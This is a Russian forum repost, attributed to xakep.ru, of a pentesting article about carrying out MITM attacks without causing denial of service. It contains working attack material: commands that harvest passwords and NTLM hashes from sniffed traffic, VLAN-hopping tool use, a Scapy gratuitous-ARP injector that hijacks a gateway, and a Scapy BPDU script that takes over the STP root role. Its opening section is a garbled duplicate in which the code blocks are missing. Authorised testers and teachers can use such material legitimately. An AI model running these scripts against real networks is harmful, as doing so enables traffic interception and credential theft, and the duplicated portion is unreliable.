D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
MITM — это самая импактная атака, которую можно провести в сети. Но одновременно это и самая опасная техника с точки зрения рисков для инфраструктуры. В этой статье я расскажу о том, как спуфить при пентесте, чтобы ничего не сломать по дороге и не устроить DoS.
Начнем с теории. Я покажу, какие параметры нужны для корректного проведения MITM. Эти настройки позволят тебе избежать непреднамеренного DoS.
Код: Скопировать в буфер обмена
Также будет полезно отключить ICMP Redirect. При проведении MITM твоя машина может генерировать эти сообщения, что вызовет тревогу сенсоров систем IDS/IPS.
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Давай зададим правило NAT, которое позволит видеть не только входящий во время MITM трафик, но еще и исходящий.
Код: Скопировать в буфер обмена
Однако у этого правила может быть побочный эффект.
Однажды мой коллега по цеху во время MITM как раз таки и настроил такое правило. В инфраструктуре заказчика были Zabbix-агенты, которые он спуфил. И это правило привело к тому, что Zabbix-сервер больше не мог достучаться до Zabbix-агентов, так как оно, по сути, спуфит адреса легитимных хостов. Разумеется, от такого внезапного события сетевики были в шоке.
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Давай пройдемся по каждой настройке:
В TCP каждая сторона устанавливает размер окна. Соответствующее количество байтов может быть отправлено без подтверждения. Window Scaling предоставляет возможность увеличивать этот размер окна, что особенно полезно при работе с высокоскоростными сетями.
Код: Скопировать в буфер обмена
Инструмент Above позволит обнаружить теги 802.1Q на транковом порте коммутатора. Затем атакующий, зная о VLAN ID, создаст виртуальные VLAN-интерфейсы и прыгнет в другой VLAN-сегмент.
Код: Скопировать в буфер обмена
Также сниффинг кадров 802.1Q будет очень полезен при компрометации гипервизора, поскольку обычно гипервизор и находится на транковых каналах.
При таком виде спуфинга есть опасность в виде DHCP Lease Time. Грубо говоря, сколько длится таймер Lease Time, столько ты и должен обслуживать пользователей, так как ты становишься для них шлюзом по умолчанию. Если же будет так, что ты выставил DHCP Lease Time условно на один день, а спуфить прекратишь через 30 минут, у легитимных клиентов возникнет DoS. Они запросят новую конфигурацию только спустя день. Согласись, не очень приятная ситуация.
При проведении ARP-спуфинга следи за маской подсети, с которой собираешься работать. Если ты возьмешь слишком большую маску, твое железо может просто не выдержать нагрузки и возникнет DoS. Это частая ошибка в практике пентестеров. Будь осторожен с количеством хостов, которые ты собрался спуфить.
Закончив спуфить хосты, ты должен генерировать и отправлять обратные IS-AT-кадры, которые восстанавливают состояние ARP-таблиц хостов до атаки. Это очень важный момент. Хост или сервис могут и не запросить ARP, тогда они будут думать, что ты все еще их шлюз. А это DoS. Это очень важный момент, который стоит учитывать. Кстати говоря, Ettercap и Arpspoof отлично делают эту работу, а по окончании генерируют необходимые IS-AT-кадры и восстанавливают структуру ARP-таблиц хостов.
Вот код на Python который будет генерировать и отправлять GARP-кадр каждые 300 секунд.
Код: Скопировать в буфер обмена
Полный технический обзор атак на домены FHRP я рассмотрел в статье «FHRP Nightmare».
Однако есть вполне рабочий вектор Mocking-атаки, при которой атакующий может подменить какую‑нибудь службу в инфраструктуре путем редистрибуции статического маршрута. Предположим, ты хочешь подделать какую‑нибудь службу SMB по адресу 10.1.1.33/32. Тогда тебе нужно настроить соответствующий маршрут и распространить его по сети с помощью редистрибуции.
После такой инъекции тебе будет достаточно установить этот адрес на свой хост с помощью того же ifconfig и запустить ложный SMB-сервис, например impacket. Это вроде какого‑нибудь Evil Twin.
Подробно эту атаку я разобрал в своей статье «Evil Twin поверх динамической маршрутизации».
Вот пример рабочей BPDU-инъекции, которая позволит тебе отобрать роль корневого коммутатора. Опять же это приведет только к частичной MITM-атаке. Не весь трафик в сети бегает через корневой коммутатор.
Отправка такого кадра осуществляется на мультикастовый адрес STP — 01:80:C2:00:00:00.
Код: Скопировать в буфер обмена
Автор
Источник xakep.ru
Начнем с теории. Я покажу, какие параметры нужны для корректного проведения MITM. Эти настройки позволят тебе избежать непреднамеренного DoS.
МАРШРУТИЗАЦИЯ ТРАФИКА И НЕРАЗБОРЧИВЫЙ РЕЖИМ
Классика жанра: переключить свой интерфейс в promiscuous mode и разрешить маршрутизацию. Разрешение маршрутизации — это вообще очень важная настройка, так как без нее во время MITM трафик легитимных хостов будет упираться в твою ОС и дальше не пройдет, а это вызовет DoS.Код: Скопировать в буфер обмена
Код:
sudo ip link set dev eth0 promisc
sudo sysctl -w net.ipv4.ip_forward=1
Код: Скопировать в буфер обмена
Код:
sudo sysctl -w net.ipv4.conf.all.accept_redirects=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
ВОЗМОЖНОСТИ ПОРТА КОММУТАТОРА
Так или иначе при MITM ты будешь упираться в возможности порта коммутатора. Если на порте коммутатора условно пропускная способность 1 Гбит/с, то выше этой отметки не прыгнуть. Поэтому не рекомендуется спуфить слишком много хостов.NAT HELPER, МАСКАРАДИНГ И ЕГО ПОБОЧНЫЕ ЭФФЕКТЫ
Через тебя может проходить FTP, H.323 и другой трафик, который плохо работает с NAT. Модуль nf_conntrack поможет прохождению трафика таких протоколов:Код: Скопировать в буфер обмена
sudo modprobe nf_conntrack
Давай зададим правило NAT, которое позволит видеть не только входящий во время MITM трафик, но еще и исходящий.
Код: Скопировать в буфер обмена
sudo iptables -t nat -A POSTROUTING -o eth0 -J MASQUERADE
Однако у этого правила может быть побочный эффект.
Однажды мой коллега по цеху во время MITM как раз таки и настроил такое правило. В инфраструктуре заказчика были Zabbix-агенты, которые он спуфил. И это правило привело к тому, что Zabbix-сервер больше не мог достучаться до Zabbix-агентов, так как оно, по сути, спуфит адреса легитимных хостов. Разумеется, от такого внезапного события сетевики были в шоке.
Поиск чувствительных данных в эфире
Утилиты net-credz и PCredz — полезнейшие инструменты для удобного сбора данных в эфире. Обычно их используют для того, чтобы вытащить из трафика пароли, NTLM-хеши, строки SNMP Community и другие интересные вещи.Код: Скопировать в буфер обмена
Код:
sudo python2 net-creds -i eth0
sudo python3 ./Pcredz -i eth0
ЯДРО LINUX
При MITM твое устройство должно быть готово к обработке большого количества трафика. Можно немного затюнить ядро Linux для оптимальной работы с большим количеством трафика, который ты будешь принимать во время спуфинга сети.Код: Скопировать в буфер обмена
Код:
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn = 65535
sudo sysctl -w net.core.netdev_max_backlog = 65536
sudo sysctl -w net.ipv4.tcp_fin_timeout=15
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
sudo sysctl -w net.ipv4.tcp_tw_recycle=1
sudo sysctl -w net.ipv4.tcp_max_tw_buckets=65536
- net.core.somaxconn = 65535 задает максимальное количество соединений, которые могут ожидать обработки в очереди. Это важно для приложений с высокой нагрузкой, чтобы предотвратить отбрасывание новых соединений из‑за переполненной очереди;
- net.core.netdev_max_backlog = 65536 определяет максимальный размер очереди для сетевых устройств, обрабатывающих входящий трафик. Увеличение этого параметра позволяет более эффективно обрабатывать пакеты в сетевом стеке;
- net.ipv4.tcp_fin_timeout=15 — этот параметр устанавливает время в секундах, в течение которого соединение ожидает завершения после отправки финишного пакета (FIN). Значение 15 секунд — компромисс между своевременным освобождением ресурсов и предотвращением возможных проблем с переиспользованием портов;
- net.ipv4.tcp_tw_reuse=1 — когда этот параметр установлен в единицу, он разрешает повторное использование сокетов TIME-WAIT для новых соединений. TIME-WAIT — это состояние, в котором сокет ждет, прежде чем полностью закрыться. Включение этой опции позволяет использовать порты, находящиеся в состоянии TIME-WAIT, для новых соединений, что может уменьшить расход портов при высокой нагрузке;
- net.ipv4.tcp_tw_recycle=1 — этот параметр активирует режим повторного использования сокетов TIME-WAIT. Включение этой опции позволяет ядру заново использовать сокеты TIME-WAIT, применяя хеш‑функцию для распределения их по нескольким очередям. Это может улучшить эффективность обработки сокетов TIME-WAIT в условиях высокой нагрузки;
- net.ipv4.tcp_max_tw_buckets=65536 — этот параметр устанавливает максимальное количество TIME-WAIT-сокетов, которые могут быть в очереди. Увеличение этого значения может предотвратить отбрасывание сокетов TIME-WAIT в случае, если они поступают слишком быстро.
TCP Window Scaling
Параметр TCP Window Scaling управляет масштабированием окна TCP. Увеличение TCP-окна может улучшить производительность передачи данных в сети с высокой задержкой или высокой нагрузкой.В TCP каждая сторона устанавливает размер окна. Соответствующее количество байтов может быть отправлено без подтверждения. Window Scaling предоставляет возможность увеличивать этот размер окна, что особенно полезно при работе с высокоскоростными сетями.
Код: Скопировать в буфер обмена
sudo sysctl -w net.ipv4.tcp_window_scaling=1
ОБХОД VLAN-СЕГМЕНТАЦИИ (CISCO 2960)
Внутри локальной сети атакующий может случайно напороться на транковый порт. Чаще всего такое случается с коммутаторами Cisco, за которыми недостаточно доглядели в продакшене и не настроили как следует. Главная проблема в том, что в коммутаторах Cisco 2960 по умолчанию все порты включены и находятся в режиме DTP Dynamic Auto. Это может повлечь за собой атаку VLAN Hopping, при которой атакующий выполняет инъекцию кадра DTP Desirable.Инструмент Above позволит обнаружить теги 802.1Q на транковом порте коммутатора. Затем атакующий, зная о VLAN ID, создаст виртуальные VLAN-интерфейсы и прыгнет в другой VLAN-сегмент.
Код: Скопировать в буфер обмена
Код:
sudo apt install above
sudo above --interface eth0 --timer 300


Также сниффинг кадров 802.1Q будет очень полезен при компрометации гипервизора, поскольку обычно гипервизор и находится на транковых каналах.
DHCP SPOOFING, НО БЕЗ EXHAUSTION
Эта атака выглядит так. Атакующий в своей ОС поднимает ложный DHCP-сервер. Атакующий может уже быть ближайшим DHCP-сервером, по сравнению с легитимным DHCP-сервером, который обычно находится в другом сегменте, и тогда злоумышленнику даже не нужно применять сомнительный DHCP Exhaustion. Почему сомнительный? Потому что это лишнее негативное воздействие на сеть. После такого пентеста сетевикам придется посетить DHCP-серверы и почистить Lease-таблицы. Если ты изучал эту MITM-атаку, наверняка помнишь, что она упоминалась вместе с DHCP Exhaustion, однако эта схема наносит сильный урон инфраструктуре.При таком виде спуфинга есть опасность в виде DHCP Lease Time. Грубо говоря, сколько длится таймер Lease Time, столько ты и должен обслуживать пользователей, так как ты становишься для них шлюзом по умолчанию. Если же будет так, что ты выставил DHCP Lease Time условно на один день, а спуфить прекратишь через 30 минут, у легитимных клиентов возникнет DoS. Они запросят новую конфигурацию только спустя день. Согласись, не очень приятная ситуация.
ARP SCANNING
Во время пентеста будь осторожен с инструментами, которые выполняют ARP-сканирование. На уровне коммутации может быть настроена система Storm Control, которая заблокирует порт, если широковещательный трафик превышает заданный порог. Нужно проводить либо более медленное сканирование (добавить задержку перед отправкой следующего ARP-кадра), либо пассивную разведку, при которой инструмент полагается только на изучение трафика (например, так делает netdiscover).ARP SPOOFING
Это самый распространенный вид MITM, он представляет собой подделывание записей в ARP-таблицах. Таким образом атакующий навязывает свой адрес в качестве адреса шлюза.При проведении ARP-спуфинга следи за маской подсети, с которой собираешься работать. Если ты возьмешь слишком большую маску, твое железо может просто не выдержать нагрузки и возникнет DoS. Это частая ошибка в практике пентестеров. Будь осторожен с количеством хостов, которые ты собрался спуфить.
Закончив спуфить хосты, ты должен генерировать и отправлять обратные IS-AT-кадры, которые восстанавливают состояние ARP-таблиц хостов до атаки. Это очень важный момент. Хост или сервис могут и не запросить ARP, тогда они будут думать, что ты все еще их шлюз. А это DoS. Это очень важный момент, который стоит учитывать. Кстати говоря, Ettercap и Arpspoof отлично делают эту работу, а по окончании генерируют необходимые IS-AT-кадры и восстанавливают структуру ARP-таблиц хостов.
СПУФИНГ В СИСТЕМЕ ГОРЯЧЕГО РЕЗЕРВИРОВАНИЯ FHRP
Это крайне дерзкая MITM-атака: при спуфинге FHRP-мастера весь трафик сегмента пойдет в твою сторону, так как твой адрес будет адресом шлюза по умолчанию для остальных легитимных хостов. Это рискованный вектор, так как твое оборудование должно быть готово к такому мощному потоку трафика.Необходимость использовать GARP
При спуфинге домена FHRP необходимо отправить специальный Gratuitous ARP-кадр, который уведомит весь сегмент о том, что возникла новая привязка MAC-адреса и IP-адреса. Ведь при захвате FHRP-мастера ты будешь обслуживать его и отвечать за адрес шлюза по умолчанию для конечных хостов.Вот код на Python который будет генерировать и отправлять GARP-кадр каждые 300 секунд.
Код: Скопировать в буфер обмена
Код:
#!/usr/bin/env python3
print ("Gratuitous ARP Injector")
print("Author: Caster, @casterbyte, <caster@exploit.org>")
from scapy.all import *
from scapy.layers.l2 import *
import argparse
import colorama
from colorama import Fore, Style
colorama.init(autoreset=True)
l2broad = "FF:FF:FF:FF:FF:FF"
def take_args():
parser = argparse.ArgumentParser()
parser.add_argument("--gateway", dest="gateway", type=str, required=True, help="Choose gateway IP address")
parser.add_argument("--interface", dest="interface", type=str, required=True, help="Choose your interface for attack")
parser.add_argument("--mac", dest="evilmac", type=str, required=True, help="Specify your MAC Address")
args = parser.parse_args()
return args
args = take_args()
def switch_to_promisc(interface):
print(Fore.YELLOW + Style.BRIGHT + "\n[!] Switching " + Fore.BLUE + Style.BRIGHT + interface + Fore.YELLOW + Style.BRIGHT + " to promiscious mode")
subprocess.call(["ip", "link", "set", interface, "promisc", "on"])
ip_a_result = subprocess.check_output(["ip", "add", "show", interface])
promisc_mode_search = re.search(r"PROMISC", ip_a_result.decode())
if promisc_mode_search:
print (Fore.YELLOW + Style.BRIGHT + "[*] Switched " + Fore.BLUE + Style.BRIGHT + "successfully")
else:
print (Fore.RED + Style.BRIGHT + "[!] Error. Not switched to promisc.")
def exploit(gateway, interface, evilmac):
ether_frame = Ether(src=args.evilmac, dst=l2broad)
arp_frame = ARP(op="is-at", pdst=args.gateway, hwsrc=args.evilmac, hwdst=l2broad, psrc=args.gateway)
garp_frame = ether_frame / arp_frame
sendp(garp_frame, iface=args.interface, inter=300, loop=1, verbose=1)
switch_to_promisc(args.interface)
exploit(args.interface, args.evilmac, args.gateway)
СПУФИНГ В СЕТИ С ДИНАМИЧЕСКОЙ МАРШРУТИЗАЦИЕЙ
MITM в домене динамической маршрутизации невозможен. Если спуфить адрес сервера, который находится в другом сегменте, возникнет просто‑напросто петля маршрутизации. Трафик к хосту, который ты спуфишь, будет идти по кругу: от легитимного хоста, до твоего хоста и до шлюза по умолчанию.Однако есть вполне рабочий вектор Mocking-атаки, при которой атакующий может подменить какую‑нибудь службу в инфраструктуре путем редистрибуции статического маршрута. Предположим, ты хочешь подделать какую‑нибудь службу SMB по адресу 10.1.1.33/32. Тогда тебе нужно настроить соответствующий маршрут и распространить его по сети с помощью редистрибуции.
После такой инъекции тебе будет достаточно установить этот адрес на свой хост с помощью того же ifconfig и запустить ложный SMB-сервис, например impacket. Это вроде какого‑нибудь Evil Twin.
Подробно эту атаку я разобрал в своей статье «Evil Twin поверх динамической маршрутизации».
СПУФИНГ ДЕРЕВА STP
Суть этой атаки заключается в перехвате роли корневого коммутатора путем инъекции кадра BPDU с наименьшим значением приоритета. Однако это приведет лишь к частичной MITM-атаке.Вот пример рабочей BPDU-инъекции, которая позволит тебе отобрать роль корневого коммутатора. Опять же это приведет только к частичной MITM-атаке. Не весь трафик в сети бегает через корневой коммутатор.
Отправка такого кадра осуществляется на мультикастовый адрес STP — 01:80:C2:00:00:00.
Код: Скопировать в буфер обмена
Код:
from scapy.all import *
INTERFACE = "eth0"
ATTACKER_MAC = "00:11:22:33:44:55"
STP_MCAST = "01:80:C2:00:00:00"
def spoof():
frame = Dot3(src=ATTACKER_MAC, dst=STP_MCAST)
llc_layer = LLC(dsap=0x042, ssap=0x042, ctrl=3)
mal_bpdu = STP(rootmac=ATTACKER_MAC, bpduflags=0x01, bridgemac=ATTACKER_MAC)
mal_stp_bpdu = frame / llc_layer / mal_bpdu
sendp(mal_stp_bpdu, iface=INTERFACE, inter=2, loop=1, verbose=1)
spoof()
ВЫВОДЫ
В этой статье я рассказал о рисках и о том, как спуфить сети правильно. Эта статья — не полноценный мануал по спуфингу сетей, здесь описаны правила хорошего тона, с помощью которых ты будешь проводить MITM без негативного воздействия на инфраструктуру. Понятное дело, что MITM — это очень распространенная атака, о которой знают многие, но вопрос о том, как правильно спуфить без DoS, по‑прежнему считается острым.Автор
Источник xakep.ru